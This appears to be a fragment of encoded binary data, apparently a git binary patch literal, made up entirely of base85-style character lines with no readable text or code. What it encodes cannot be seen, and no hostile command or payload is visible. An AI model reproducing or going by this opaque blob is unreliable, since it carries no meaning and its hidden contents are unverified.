z*=u^oW++UVMB?scS;8639`WQ*@jS%xZ|*Gw&?2`H3JC4B9^`oAuaXy|!aH*izl%V~ z)6u}!IsqY?RHX*Vt4JQ=M7Y4MW*TFwTCuWP!v$neq61+at*+{?Tc@e>6#Y@6DR@s4 z_K&R#{)~b~M3Ug0t#Bhq&QwfGZbpabwKP(+u% zjZ*6>?sM1K&q%+T{o_@sI0@~Gs)W=NkLn|uiGMBm=-eMp$+2>Swfv5&i) z&*jFpO~sMORy#hF451at+2`3bzmiE@N^2zl)fQ8KK77BUN~QB?kB%9lqjgCpd~IOt zoT9QGHivk}SAb1hHpdgWm3-p2-3vmZQLdnSIg!`2Q@mRx?g11DvXz|;KrwIK z7!3se+9|4icDO?z$G2z6#Z{8aK`wxaZ!cKg3RB#xd`jcDOw>@A=MhSjsdCu~p1775 zO2%asayc$J!s$+f#{v~Cnoj>RFfxrDTS?qpUTFGOxo`M{7Vb_}pj~G4xQxwWj4*1z z@rb*}orbI1iTyLWAG5ZF=SAbscnnQUo5AxVt!Qlqnl!YnOt7u4^U!p{1(^ zC#{pl+HnP7tNB0_OY^N!bPlWyu+TV%K^4b+n9Wte!&`%!Kot|FWQqk?)WxJnh&9DT z9R>Dve&9?Y!bDMy;n5InFcJzEUHJzDo^*$i|B3 zt<$?oYVE4?Lia!m&$Dxt@fjKJAVom&#*QSloat3>`2;N7?U_2cYPx|ae}qG1D|4tT zS`2d`US1DD)X%hcsu9xtAi`#^x}uEv)IJKO9OL#!?e>@vyt;QqBK2V=>n49kxyI9b zgd~;5)ST}cW};}&?v?C@#S)Sr1=^wWNpN?4c6=Y0P){yTiMNf}W+HN9h!0%m zzzKZhP_D0F+g7|Jzyk+S1!`cT+2RIn-JwW(ku$dky08H~K5wy+sqx}4gsIs9$*h%h1zN*bc;#~*i;WT3)8sU+r>SB zWKN}wt0=o$3D5t6sO1FJ)kd}~4LRQCaq1dpq>EP^H;k9rF^X`3QM@49gc9A`U?yD} z5^03pdw=c!fUL#c2e3-08!EFe8JgAGa~fc;^@ecpVZ`Bmnrv3D9pjVgy1=SBDijKP z&t{0H3LetAkmRtqC@(CA4jClaIe9v_2WMG~XZmRMD7JyEvK4DWyaE2MOL&dmp}eZzw6l zgbDB+3Foxl9#In-K%^nx0?QR*n#TfWDmvBt;`2^$DhCECozyi`ZU?1AdDa7K&bi+G zP)lvu3DQJ%WT8Kl^=oc%Bh; zyZcN9%gZ4{K@G2<(nR9v!{}y+!L0+j{km`n|HVxaB~4>?V(0Z9UW^8ms%BhA&u2nB z+f6YuO97R^USJ8!@a3k~)QU9%aagYvSSTY+Ez^y}fccT*CTF1ynd#azI(mknsqYav zovpsnsn-*P$&lP`I>s)dSa<|sZQbZ2h!ND2h!rVLAw85S(~V$-Hak5w+r4*1iz2^F zeuIwXUpxn^#5zCtYA!&@(&jYe6($l2DD@FixskrXbdP$a$H~pR8EJ5kYf-cpW^KiE zN2jb9{pKz)*o`VB>7{x?Z^F?+ucYti8H!xwQR6|aM#d?|1`H)~(6KadSqANxda0Yh zDZ+lYBSYw*ik1fFFH1n{Byk{RR=eYNEsNqcbt-2TLglOMy5YdF9{mce6F=wATo+g( zGNp5?adyCZ$3@J|{{d$+%^t*&fM)HSX^vOv65t0*fdrw~bqP#pDG_M&?yVDd&VxJG zb1?SvL(`*o>J^eKERv6k7sDvaIf95zRG7+Yz^fPy%xL^Rf2pnw0h-c8rp7tT&^BVC^_ss!?Q&;aA)>i*(TX0GhE3@e`mC zaXU(Hb{lvV^HZ%R{5Le$T=6^8EXy1VWqk_+m*r8gLAE#_DUF6Cw0{_&37GH5-)@uh zxl7Xg?k<7e-53uTgnNSOCt&jMjwP?_cG180+>QCZRY?nA8OD=KI}TrbT#0I~?e#<* zac1gX4jSBS5oUaz$gxs`fFFUH^R*tl(W)=y=g^T#v(rpiubtOJC(gZ z>PtsdrS~~yUH_wcSyGE0htzw60ytqA-_rPBDQwy88A=?v+?x86cc0AnA@?P0iak1V z9N^J2_6&BEWn0rS#n1C*roL*RmT$;TQVEB^$#zF9{w?u{T;>uZN@=bjEJ>9ku~b?S zFfv(qi)Wy{NBCJFj$E>w?iP~PN1b@@9b+>gi0v505Mh=3+0GXv;n%QLOg`@M?XbYuA_y7c*faAybS!s6rO_`~gaw7ZT4R|{}J{-S6F?`-YW z(|^ozIga50MkQ9``}ZUWTk7vCi%7Hp)Ikw#Vq{Y{WO};)yFJRx$HvaQ9Icc*s^7VF zBcLY)Zg5&9&Cs%QyYEa`72{yZm?`DV#uErIKG#}F(&ocWHeD~uD*ZRZ-#5`%k$D1A zAO2I<6glowm9y&*Jq#A_C1(GxfB%25(x|&zDbmC!_B5OraAC08$Px36JGoG!03-74 znc#$FYAGst_aJ4E!!KpEUN~$r(;^uK&Hg_H;g-b_%5Pr@21w;@#nNfCyv9Xlj|sv~ zx}?zj1c37)%!3~h_NC_(s+_4=TF(!nEN_JXHQ5pdDQzMJ;WE6;ViA#|)v3*J5;wdk zp_xEs5-XqJDgwoh!t)7BqD(|^eUU0~TZ-&0P2UYeIiuv}JmHNKh36)~f_+0~m5~CG zt7m~5hq8X^d?-)fXc*w*tS?)LJ^#6)?kt*Vr1n1tBweKOPlCBJ6&l^yt? zx+iqd6xTIEX!WQ0Rv3;=-2}L0mMA;5yv;^xnnMW9(Kjm}-;^a)bwc@|EOMIBo8!fIEPPSAht!PA45ZZcAh}`U>EF*Ag?bix?2BLj}7B$iZ&a**|T@oglcoaiR~V>4nc3B$+Uivl>E*OMv&>| zXIwl$Tg#-y+H^ccMzBi?Y~((3z$S0nOcXZq@1vSeg%X+zka#D1@2vGk?Xj51N~i~T zEkiBECfdkpGZ*bNXeDe{g}AlyHFF^wXN$yYSfIrPIK5o>WqRHgI*6=v_?BFkEkidj zV=m+9#6zh9&n@FEU4OxH#(A8M3ZXn52P?)FeFw6Wbe%aAirw1e84WDU<0PWcUwr)R zIWkD~FMj(hr68UTTN;}zS~Q;Zct^~)lm9E^H|sniRJz^HysCnRMII5w%lXqneXR#C z#F;pi2syd9XNky3$uW%@^CvzkZ^t~P)K|el!CuMsXpPu zu}(ELAUNWt`N5wm@O-TZ&*-RhARJ&|cBSCCWME(@@R3vo2WCNAVBpr{PDK8s`o0fMo)=1J9VeSq^h*xm^bcZ@sOFVyPGt z>=NL*RBB^kWY~{ih}^q*!jlg z2EWcs?z%1O{2{j>=1q%;?eAn^htLBJUTe6n8oKLF5lhXk@*9GjWkw}@Qw!pka1Re# z(35L*4v7;)+}8o5W9RD^llHwHJ;9o)>Q-I0J90hd`{>SHXK?N6;rK~OoO_BUW!x95 zUT-vGGMo)}K|J_Y5EsnVU3&{6c}R5BJ(VE0GQMWIJeg;pQlae}yIK|f_yskvOkTQ| z`L{GH15gbJ_@@!{w3pAErTbzYW(uHOdn=2B7Ho2~ES<=1Kc5TO+-26bfFr&p4Ctnj zi8issHL#fH=Go+$YXL#X_FWEdTn8kZ4--5wPqqrse2h$cdKl=veRZa(|LwICI`O|n zJ+yW{1&NxPQH=%rI-z zOr=&NU+AYIMn!dgHL--Zg~(B)%Kw`(mpMS?&w2vUB5~x$6`Y0ln^x%BMud2UH=_+h zLFHhr@7%iHxU94hMN>~fc-VYoLZ!>+`Zd9hS1pde8C~Tv`th7l4{lua_qd_Y;P)uG zB2t9278Tui2C8M`}6?< ze>$NO{PmwVfg|3KW?xh5Q{+Q6we(f)`AtUR zNcU19$Zv*?q0$@5Ois>FJVTD>qTpG%xr}RlY+qr|)k*)@y}CkxPJKtd59D&YZS;_n z-q*5*deVLLl{5DU#_6no5Khgp^eS&O(+PtvZzzxUJBM;9xEWzJYxFLucaEV@D#Y_@ zT;XkICxa7UBY6AiJ7y2*8dD&iQ%iw(esqw0h*btagP|!4mWbD9Ibi6eC+j^;NJY51 zjVC#Asz60J8&u;h95S7Ie#D6qRI}j;%)cAQF#`N<98ib(}PwlsQgebNmY+^3;LA(xLT*j@-d)h}{4NXHnD)V%G^*2NwsFacKr z1EIfevDy#ep&IW>U<{cNdUc$O9N@QJ)F}d}fFJ6S zpX!cg;ENotcmx`yOeb=%Tu|$427roAd7ip_tUF04dR(EFax3ZraZa8@AntyE%b6}M z?*`Es-nv^q(zmWH=u&G1Tq?=1HsMQ-14orGb#54IQ!`L&6XKU-tAUiRb*xP1S%+>F zp~L)0hryrKRoM8@##PkGM(*9Z@{UT%XHSBvT>4QjW5OuaugPeP(r-d0P1xA)R?R%w zTGum4mK=`LdO%XMH8OIK0-cTS^2QO3befRJ7X`n1iiGmyX}$Zq>BjtSIq8s1O&?|I z(?->xlOxA7E3NzAsc#`YYtEU*^}En8&Y|H6{|W_a-sskB z-ZCfpPr13RpnrTjEzEL#>rOlJb9V{B{$JctL%SO!TYZ<`A_WW5)6f^0+%nnBM1krn z^+M~MO<>6Ca;-zQ7$;HfhhdAErj9QYWpUK>H;Al9h_d?GpGtK~VcrpimbMAvbQkvHSbC#I5C8`T1hxT1qfK@Afzq^Y!cZ^vln3tu!}%dtr&5 zuFN^ctJ0NtTTHfUxQrRD*`LCOXiN}J6kL^dd%(u>rsUzkH+3~r=?q4D{hsFwBK?Pz z%!~}MSLy1LlSZ)8!4y<^>>-d+SsCgvpZi!H0sId@ENAoUvZc-aVhOm1M(}A$&_=5~tw+YCBrq zC{q{E2vejPU)1<7P&UonctQGJN>mYq*4Wo3=9&}?(KW|i)k~4^lz9?!5n*31t7hNG zB85O1^kHk}J$++R`Ci8(7)r&p)AMlXQmd1PP+vc%1|I}8hO-9wP-kWvieKq zjtbNn=R_tkgG^i>xj!8tz)bNDH8TVgMt}6gl*Mg^6A~2G zZMjJ&=V5u}u7;6H33ZZo1SK^3WM>U>rVI7iD>ebl1_d3e>w%`;*F8K(;y)JE+#6xd z%B?wrpgwV1ORo2%r{_E&|502`ZjIEcupd5Y^bs;fHa z5f5gmC|pe?zhEegmnSJX4vtlUI!!lO?mCr1C;(0j1!Aw=|&w%BNdMF$_0HG{@y zy4tu9;6V}7nKshnH9FbinrC_K+#4x>ZS)TNC|!MhZc`u)5=>LIG02BU3IX5;`L%J% zN8Ozz!`!apE zkts^E2SHW6r0e%rybCQ%nDYZi@~2X69Xg-F2;kee%U_Q(OKp)Lclka@IaFawE14ig z;1vYH_})_9Ocf{N4RFumB2_}@mBAF!=vz^$isZ9g9YH@!Oi|F{qwOYn13-Q@TeKF;RcuMXbFt+!l8C>3 zIt%@`eO6yf`YI-W9*rY97u7N7oLX6HphS!XH;+<$Df_Z3ii@$3$lF~2LmDdog(R-? z<8l+OZDAknXd>8kqy0s%LAB<`8VI@jQqWlsdz%OXo;LilYTAb(zk61{bM$1qzJerX z;Ar2bwy>Rf6CuX6%P>hLeVq89V<%tI>)sE~GPW_UP^|X+^{LY3XNvK*T=g`9_~*GI za5f9by5(?v$cs_P4>83fo8dN{#ak4Vrm_o~E{699XR(in>D_C7gXvu?dy&R%cQg>_ znZpTL(qD77Q|znlpQVjK%rX@IKxKz_AF0cI7Hu1hNN}F0Z;^iDJV?oTGeg?B@#b?c ze0tk_CxQTisc^(CHhWbgS{`;aFrPE>@iy{XevaIMOK{#>ztI+ZH>3p$Jip0e;0m6z zMla34^U)e4EoihaI0(BqCkgZN7=421Y!{?$tuIt&D4SuMqKh_a<7faE4_sI*i9;SNj^VP6?Pzt8MJH3AOU21f;|JX;3@mgp0N2KlCSQ{mjd*AT z)FKClV`&iWoC&Wn6;Xh6oen#bCXB^`x2maNE85dr7=J>CwJp}q&xF;TmjkyteJ=Sy zRR&c|)XB4db@Hhz{a~JB!~;V*uW%D{VplpOkwLz7)edct6u%l3w^O~p15oK~5itP} zm4{nJBr@G1AW^>3QJ7?<&-A!{>Iv};g|*g%@i*I#^?p*qtH_4--Q+8S0F@|)hLg%F zU5(_c7GJWr#(VGN0ft09J=Y)P@L^G(XiuP&uS4qFVjY%ht=NOPdJL)pzf%&lxPUr_ zhOtTLcAb34^>v^D|BMuvFCi3sZk4M#?rRiqs`WM^sGhI^&_c37nwK}FQer+@u2r}3 zkn})IxaxXi^64^PTr4|dA>)~Ua|Y|DxJxTyPS6?GEg?UQC;QTEb}yd499YI*x?VxZ zx`Jh~L_V#Bhqh_!Dldzd8fUFztiVxgkHEc?oj~KtUT$U zXK~W9|7e-zDt7OJOEJr`tV)ZXQfHq4BRxFkpOrUz2$PwCB6-NrkDOqy%?2%xC3!&j zg1_#aDJf4^*gKaaI+E|yd1^U@EL{dN?R7|ia!*aO1$2P4KZ?%3{ zZR@9!oel3Y#!+RK*6TeXPC}j2z~gq{G8;d6OVJ%)4PWw zV+pIO5JuusrPf+I|0y)C+#f$Gf7|bE2=k-^==bS@dbU_kS(qoLx9t!0>qv8?ORUEk zOn1KiZSvIS2wY`LhJZl|2I8RQgzuqd!HCHM00ffu z3+jk1q>kB9JPRonU(Uc!DJRZTSs1yQyJTZjjTKb!c;%$0JT;$x)xB|X~k zw<|ilbBaTf#A!9d`-cSJqp%9|VZ5^(HvDE&mcs~VZhYRz_`J!}0Kl;*TOwN_RQr}Y^N;UnrYER%%A3X`8V4~vaa+4DUYCyU?FK?0@jk`U`q|leNC)&rO6lHg+KNq<&aI^7QLfeQrK${*xGlI=no=dh$B`eyV>q z_%kW?rSC~9rd8^{#(+CMG0G-{0$(#UGW?Y3svJ}(`uPKNt7)$0Er;Y8^$rDK$8Luo zOgskjk7Kh`-T0b-U$Pgu-8LlK=Y8zkDKH>?iUzb1_ni{>UF;Y-qpk{paLy`Dz4?=gSdHN@y!TW;ma$=X9-Kk>cp3gh=oQBK!5e zWP_{w*vz);XCf~1MVa=T`ltM1BydZ(F%s2Dn$KZrdl_S+ZZ1tyYFJQ&D~&QUW+A%p zqW(b@bjEW66I@9Gk6i{qd@)OkCWuH01@E=Q6k)Q&0f3Z~JYhYvZV^bIHNk5&AgPEH>; zNt!7fIHGwGx-2iKcq5cNDp+IbWj;h%lXAjYFVBH zRZZ^PR;HHfx%1`zS~QzN;eVW8CKBhXqLvu|VlRC%AXW4*XQWg`LnmtURMZ+U^L65N z#yB{O?J7L5zE!G_c;Y1X)+bTWKe-pYG$d8^RtPgQXb2Qn(`Yor@A6=_nyFB$@~wvC zvK@--f{xBq;*+NKXN}XxR2wzUvN-pwSSdCz&5sL>UEk-T)%%qax$HR}}}8OJiyh@yNOG zgGo%4vb84tj=3tYw5jG$qRMKdW=Of?CVs4WovNy)$D`yZ$3_PYu6geu;tR9c8JnHj zbT-j&U3VnIOvg|RRqf}Jo) zFAsKkV6`sc1&&+YIa-l*Qj^K9!zj&8oo}m~pAgIfZu!n(N-k0n52K`Tk@t^hyy2ad zQ&ftcN>k^d6g>w!k~amUG3iTP#XlwK+DZAtwC>sC0P{{hXEJg&Qc8+*m~wW%)>dY# zP9TBQtR;|=$Z8Mg)jr#!^2cfyx54fRD>8|hpw-z(!tV4$ zwTYPOk(%E;$BZTD3V|kZGN>|#!lek@;=<>+EI!c`i>}(~rLN&LGiyUo)b>s>PF7!n ze1~_W1(FFf(w(}xmcvX)%NvGJ)^{${>7B-m9r&m-G@yDiN<9`sFue|A7>o7_b(~Ki zyvs41omDr-5Qb8^m(mt9fPp9_L&lkeg=NMq^H-;W6&Pv)M;MD92m-g>dK1 zqCTA`L8vPH0q^mNT^hWE0fdHf9>SHgIzLP2eV*KCnZxLK)|w$n=#4>;(Df?(| zS|-Y|8tXr-6vsk7Pl$udy)Yb%#vTNJ;x8?zDGyptqQbG^vK zGi{_^oA@vg@_1-l z$_rzISJuE+rAF?}Qu@Cdgy-!_T@9-om4A%shBEaWNXDs@id$kwr2mgvWf+BTPp{m( zzqV^LxaGG_AVuQE9H(0ugK3bP=em>^u6dLcaS7HdCk01PIVG8tG6}`v2u9YlLrSrN zhfFSREM#bnNRiCA?74i`ms8_QV1?_T1lL+8Zt;RVbo6K|akz+HRekZ@lKt`LwRLmHCJ&v7?E23Q71YOYU5`6HE z(a9WoT0Ggsd@V$dZm?~fL_bambEZC4#US;YOgW&$7Cn9I zPU>wB?+Rf?`L@NNfV=K6iKQ+dXI>UILh|WGNC6t`cYBS`Ad0=FkXkc3y1ld%v)kAH z^fAbYs&CUZybo1sr8)fZteKj$!$M;bTw7z{(dU)4CvxsDK%(`Z1aA_r%?M)>GT$ zu)Xdhn>rtGu1F{UJ~)Vp({OmhXiNEL=|J8Vv>CMDU|~mhm|J4Zwi9ai;~ezsM58*g z1p`j0n67AyJ{*9Swex_4Dc9j_6<{D!-k;qNP zZJsd`c{RZ9mWv-|Ony6T!Sq=FC{Efk6SQIZ{UIngzY_7<6gtCIkLEFE zYA!Z1BD&Z-CXnnV1Vh{M0bDX+DN*Xd!`3n`6QsjVNv;y6p>u zI3%B8d9HQ4nolW}99~2^^pS2P9H$(VhL<_X&?AbFCPX^h`l^DADZet8(#2FgQaBON-ee^Ji>`}^M zN7bt_y|;Old=xy{qWcswumLdaB{V>b8$$*7II$q~*n-fr9}P+@$+%5i;T6i7WiHR} zV7)P&k0XPv zGCtg;yZ^zT)pmSBr?f7- z@)qluqkQpwn1J`^$-doRylR!s_TH?wp3VDFRrzMlnolJvja>|J(xqPDg~2o60W|mg z`t?xNrRfZ|pDJWlPp?2@hpN!mCH$By%-Ril(Z*INn>Tb3ss?b>sB)+QpNZwQ>M-xh zGKTo&Do8>bQ2Q2#fy`Ij$ppW@asE-hlxVZQweq8RE3SWt)54<^yKvKxne}eWr zm@9?O*lkniKKXbplrCcsRC!5}1cfA1;QVYih_ZqnGRx1qaIoo<;C>g5i{Y?R*&Cni zIk5%vbR4Y%ytqU(^;bHgwJWoka!Azfk^}v5k4aNEbKEdt@q`5Ybmfl5(PoTnigmRq zqB|u0yC-nzo5!AQZd_C)IpHoP^vw*Lc???1$D2cc(HT82V87edZvIubsO)2Mk<-}` zdzrlbJ(3wS6aF&u^wu~^#yC*<0h_^fvo`ZxAXPgNF3&D3dJa!-5Wjg>k?O+U zVnD3EN4BE`upoZ)a%o_`Oy*O%a^2^5-r(Rbr=pFi69RK3BctGw>QhsJ?sp zDLrzuDvB|ToPaX+zhZR_Crv3n&@Ae8&dbl~3TAB=cVPs2xqvBdua3N2VM+|`{S%Vp%QED{SVkM~W@U8H$mF}xEV@CXl~Ei-$jVrV zY%{Y)XkZbr8b4Mr&|f>#&o_G7rEahhx;j#iE&1|IzB5u?`o1YM>L`W4@o=rwN3etU z3I)VcIJm7D%#VHZKE%j!W&7g}) zd@b4}Pj=8;kFi%(#nw813GmcHJ9mpe@{g^nd^T~3A8mE>?cO`IDIbe-hq_(I(aPk~ z3gPF7pw-l)6?zsk7#~xmYa#^tCpI_T5h8FWA!aPkRr_n=j9_vFQJ(Nd{ZpHz5+W8E z_6QTsr4}4ZoM4{JT{lswI+S>#M?}51LyQf~3m=&JGZU~-0YVUbLZDI0koi}e%4*tj zig+m@*+>=dLv$5Y_M7LK>e_j|VnimVE$9!bf-Q(jN1^J|wb{}VFe6JMw@rciLqQh& zGUw9Yt~Y*Nd(VvOANv>bBuEDo1|>~)4^ISh^9)4GQN;4LHt~x(uM5b}`QbzE%*;t2 z$@nP8i)_p$MnqobFSEccD1|Z|uPRb={C67!kJ=gws;F_=mxzYn%R9u#M#IFys{KJF zI~!$Jc?xDI=q(`!@J_=xz0TKQcb2)WbR5I{J57&?gojJpXp$Y}L%49tAruBpuJ-OT2-y)oy z2lrE2`@<(R+&w?;LdBfDk}qalq3+8coCoXwfzX^1rTk}-kn$zb?QjXtFSR)y@kNB-QIu}>L;*>|mk&etE-uM1kr z3AAJM!q?FAY*GwTm!V!KagC*D6xz}2&2J&nuRlF!HgB+O{2v)AQG#@~+OBl%(Pboy z1tNS|{|zxZ1}~<$;YaE?lH9x)eQJUcWlZtoMcU6r2?JAPv`LJ)!gJ7|$L_M>nPLZx z^=+Mq90I7njr+5u>JH0`MEj6EhsfO7BDXTO&S|%to82y^%@!lmF00!ro8{@?H@Uso z1%Y#r)=}d5F?oUH@@euibfgZ6Hp_Ir9ZuJNk-1A65Bw~@GAe}VA3tR~#_FBi!cO%5 zub`aLp(teA-P8A6St0tSi^Wt~2$bGLIj%pxYH>2k$j;wo{jgb1TzA@Ekd!S|ltf2Y zr1xYu{XOPmO||0hGWlMDq&BJ!B1jKBv*^r(Yg%aPbBiIHZ&O>G7oyhN?Nt+sC{mWF zP$EUJNRahj%_exge53>5_M+q$a)5Ox;b+GYIm^~~nX8{tT;WxWgd^X2t)WXly71t# z8Eo#!36{Z2p#pY?TkegjB#+;VLTBf59p2Hkf>lc+9iK`YiTJNoc2JEWbX|qNBof3V z_4}ccTn}92>(mC3Lag6Od%7NrgI(6{$%IKL^jj9dd1|-ah9hT#dM6Y)mT;%c#>*3%}$<^zQdI~d?yWp=%26#WCrlt9RdsI?Nf6VD@Mh@ZoDHi z_I&F6J?O2C3mq&mM2|r)gcPezO2+4T*1>FV2ZzS<5OA&Ng%pCl*8)V5Hhq^c0|cY? zbInQ)8@azh?NGQLKleh?yiWCC%?CJbzgDi~$Kd%kg)}Lm%kkZr-)dk9 z9!VNv)Fc}j`xnUA$s}Wu{M`O6?v?$9-mBl#6#8)wX8+>t)D8GI2w%RD(FeX4R2;S^ zOXRT*V$|>W)jn9qB?jqP905JkAg7wjKmXt7)Q}%HFsd-m4vw`Y4?^Bh&<y%lb9a z$e>oL1{oC4rrUphKY;eI>fGNH4G=V}4kAu4pB{dw9I}u#D;UF!zeA^ZSu6Ug+0)Hw za2@Q-!k&IAdc!4o;L-EEcti|Yq0Hn5I`PaZ4;U-6!cP*h+21X`W)IJDwpjs*nR%&$ z6OsY_azHZ5mTCPr$v?R6H{!$RGAANVsEoT@tisfUuuWePG-Fv+oJ&ZZkLTIG8K+{x zc;|ZmqezG#Pl!$<9l#=q*4uE_d1!Dr-6SMVoE&mXHl-Z|Ka*9Ahz1u_J{*B9!Ji*z z-E484kr~ov(Th%4)h!SD!qSWtKj2#aWFSmVyq_vvH_=dPo5?xQHGdT(djMy*Bn9RF zV*FxeqDS>53{96{*z%;ad*Mwn6~QPq_7}rbPxgNemyvTyHXwDlDh3=*-c67;tbT`R zV1DlUlVe<>zM;vRrG8WXpaO|uzaVemnD}xP@5SLA%!ZI(hHSxsUk$>2l%J?hF2B`V_ zl-;66NEFnkt12_(&Cj&i^z-~*Hkdo1q&P^{FD9rGgE^uuOj({;E{2@+k_l;^)e*au z{BLz0iJV6_D7mZ1vXVdCJ!7H&t=**!Mo0v(s{xHzkr-=K_~;8T%JUPWWJIjZRkAwP z>PE^F`O`vt5^yQF-e+=YI5 zY7SB6_PieD7(C-(=_vEH1j~wQQ{;2|%lX}Au)7`PcY;>mQB<%@DfgXXQ{Q0lQdvp{ zFYevl$ff^pwJc<;QaMasY^K*j>U6~8m^qDQ*LK;(UdPdlyC{nAfV@o|T?jT-qW7Uy z1aJ#a)>edetuhP1-t>RtJB#}hv0#3K#-2qp{J|ebm*-swsH$HrdK%}w`KV={=cB31 zlk_HhdS+zWKk#Inul@quyqn433zt{72yqQFty};hZsd4B&>n?tv!}njf*;?DgNUF2 z2*Jiz!!Spk{KmTrWeVn|!w1_@!(D>vXBf-V{fe^QkE080OR73DmE}=f5;rEh05@#L zz!FaUPsYU}?V(Eo^I!iKTd(F#ayJG(j*<(7sjI)Q^Qwakxz0eKE=l5e;(`>BbH$u^ zu3}=Zl+}%5=pw4&zx+8pthb9D{mDsbYqN97>?jFTV4%_T$^5psZL#llECFZ?pRf3= zyMx30-W#FNIXy!HGIUXH)U$b9lyLrE%V|k9?3$`^&H_v7ofVjG;L}+i>tS)l7cosE z?HAy9&OgR`nVafTG5t8az5P8fLVJ3h9&tBMIxiRS(RME|qNyMlNF@a$muFK|8pTAh zpkmX-D;@2_-{3pP%Gl3YLiaxbUy(Fj4ZXe4I8zF{%?hX=ibNdEkyhshZr)cDVgeKn zWKiL}IegEg%lx!7+0GD-@(H{WS%0qZ;#Ch*8~PtDz5o1QXc3JPmcgd!?kYvSFwBrG zHR=?~3d0Uya+MU-*iKp>!Xwr`DvzWP7yiYcLge!C)6K)Qz88xKkB5pAd(X}Egb6|8 zKHo$>nMa%?QUu1W3Y3GyiIWw~U~F!`rLMep{X%L$#n=NE&pd!9CS_8j!M=ENxiV;j zCS$C(3nA;(q(}v=0g+ungc)Rrb7)6Y4jf7Sm8K#cjs5Il{T{9XGZ$t#&{0Ll$Pa&W zOt_Gg6lLkK7a54FP&?v+>U8KKCY}hW5=5?G$J^=TEpA_)bby@2_)!+ip(%SxfJ=~% zej|+R1c>hM`5Gtp(J(e20y{KJc9N5Aw8ArK&>WKk*?egTjc^_s(xIPRN6BU8?~dF& zq4iUWof<)*{qYYm55q$95{l=v8|iRE$TQT~7!a09tpqlnMf^|lncE;djWG(WR6ho- z>s}l@5OpZ7r98*O+1{oA;-k`OO`HbbYGUOs2_cyS=UZo}O%-7k|IR_6*oxpV%3NkB z9(Qx(1Q$QE%~&}TRi8R@$+kVhc1liD&3nY>AZhMIvzu~WkDTj?O(8OnaMnt4D0Lq}|dJelncd3M5zqG@Iz4pDlWK z`7l`UO(B%6aCL#G4zLw6)%>~U0IlIm9StU7O$2#GizIwzoLNg>z0AkZ+)RJT^y-ppM_^I@ z*GI}+yDKW7aWaibhHQAbthW`A<(hDL!O@YKW#;5g!w2(&H)hB{6Y16EhEa=T!d_48 zjz9=S+jv+0``L-+!$Zs{k6$L;#?876quEisE}kzyFR5{#yJeHS%#9%ksKWVJAFViE z$Fg^wgXOjFOS+F+h(kMV!m3h){4h!BPB}swLyUSvuoBsU3n#Hbx1|~9!aHlW7f=Qzz2+jr5m!&n-1VS*rrnE;B9IdfE$kY{9HVYt!KD+o+ku6ztqal z^K@HX%i>#gAKuj|#2nKD7Tr4gdbkS=FXN8rRlJkWBaN2QNUkpKZ00b0T?|IbT3wFw z-!3#gzx-h0^VBzgm?PyjaFm80s2g&a@pkdJeFz;MGpmlh3!al?dOp}DW^Y{LR*@SS zix*-!HqH_k@D{Rpp2cMz)+%p?Ev9J|ny3!%5dxb)-I3=L*C5bbYviFPo!>>*Yys#J zCrE7Hm7<6oQh3Iq0`4yGZ}dD_S~eVZq>aSkh5NAI4bY?4tg|p!dAQADU{s1--Mc|CezFzidS@=(3H*8^*xp#R8aP z-3cr7vYYVxviC6;ireVt055M|6I4SIlMK2XrN6pN_u4t(GxMpaTc_!~DFRxs*^P%} z+D(urW0QaGgdzo4%>1nUUVI{xd*EUfGQ{!4t8R$__5dJA{5cy;JxA4na##k#MANHy zzmp_;=QbQJq&(p8)1&AK%Mf)SQ_?GzO)Lali~li@o=RW{C6S(esC+u;{wev9?)fm& zg5bmWd_ljjWxJWcumsga0842QWiN3*#-8*z(i&I*9HS&PQScSw3Q8)MB+;jrS70@h zMUk3}34Te!SM?s=N%!bE$)VNxUeT?^xY<3u6Bc)i0g=;C+0vI@g;sH;ka*4v0Exp3 zo~245W^;s(jQTNv3Ax2BRGgg$?rJP;V=yP2=NE!cRuxS^B0!w46r+#9%G*Tf=FqR3 zD5^xmY$;;33@ZbRo=^B}C0ClSgbjNg>cX{ZinNB9zQ{VcavG}>z9x<0;^FXl60F_O z+y|P1nZJb1kuM9)p{ZIlmIJl0470qf8G0^YUVj(UI+2?Paj5hv2C#pD1wHnzA^1t=6$&FpA$Cg@Gnt9 zCvCG{iq3MF!^gQNlr@kiPJ1MVC>G^ZEI_WQM_Iz;gSSjjmUC5%!07!X<8?1Hg5KCn zI8Rb9wyoT=AN953?JAG#H^Y}qf#;O9s-DQ_ek@@!i}T{be^)F>4AE%Flgzd52aoF~ z_fk*0v+DP$VaSKrDzMZ#jwcyB`xpk?Tk@e1%4|L|&aLhTJTECkKlbZZln6m}*+Tf+ zPj}zIQ;%(u-QZIUje6W5sKQKSwemE+@f^KOlwZ4m5YG2Rh&*9*HyYYYI48^9TrB}p zSATyaVN*pI4k|v|=s+LjkIFz1$eIW_4lynud3_I|3XL7K)cM|A1}MXQ+|ON&1$^54 z!U&hY6X+oQJ-jCV_ELvxjvQ=~T@2u#)hr8ET#^i!3g(4bYCn{;ah5l$DiGIWCFIvu z{|m@UZl<&kS<(|1%@NuKoB`|+p+CG$KLnC^-=>b~$!>JJT1)1A`A8)4tqM528NZ_J zOx_JC89k4jO2_`XA^7ji2C0hl%2u$bK^qQUI6BB8vRf#b~cVRIkiA5+uhVL}IN$v~q^a~1jU zie!iA7>)rf@i_aN$;7b30@td}-&z-I85md(;~GEBV|+F2a~!Y=1doCg~u2dq<)iU}ht`pj%d9N|n=23$2c;Mq=S>79qHNBEx1ZU(5jp8z>D{*gv61yMy zK*;hBNz095FRl8Idat<=8>UhpgA^xr@b=k!=6O)>1P#hP8=WUN%R^>E7|ujC&%g*~ z?DR$*hZ1u2=nBa~9%X3=)W$~F(6Gp$2-))KZfbHRK7w)N)AIb55r)gOJYB;m(Kj`K z7wljNqN|}yEq{BI?r;h7{*au6#Aup?c~gEl7v$&>ey8z`#(``D4r9SRnV7kJzXK-} zOpMh6;(s+Pq^ta0)qB5*lh9yLqD&&q&Lg`Mfk~(Jdr;b3wK%5~Gb{^3EY9yJ8SX%u&O%4mCF-j)^z#!^zcX zf!Fy+?=f@B`v?Zz5B(Ln#w_n#wfnJH6@iq%ww4Qq6nUydT|P|!qL7sN4v!Q#_4>66 zq6!X6!7O?t@fHNiat!yh2-;G)w>e0vtLcB$3I8D5iQgX0rw+?KXe6cmD(MrQ9;F=B zF;AxZ2P!0H%jSeTs$^x1t|ysd3v54x^?NcKVk4nmo}xb@djkQ|(Wmn516=@B&`;}h z)OptcwJ{VRx2sqd%^ak8_pkLun8=%nSn{Gq2IhVke}|V;%%hqHfqN;$Hb{xQF;sv0 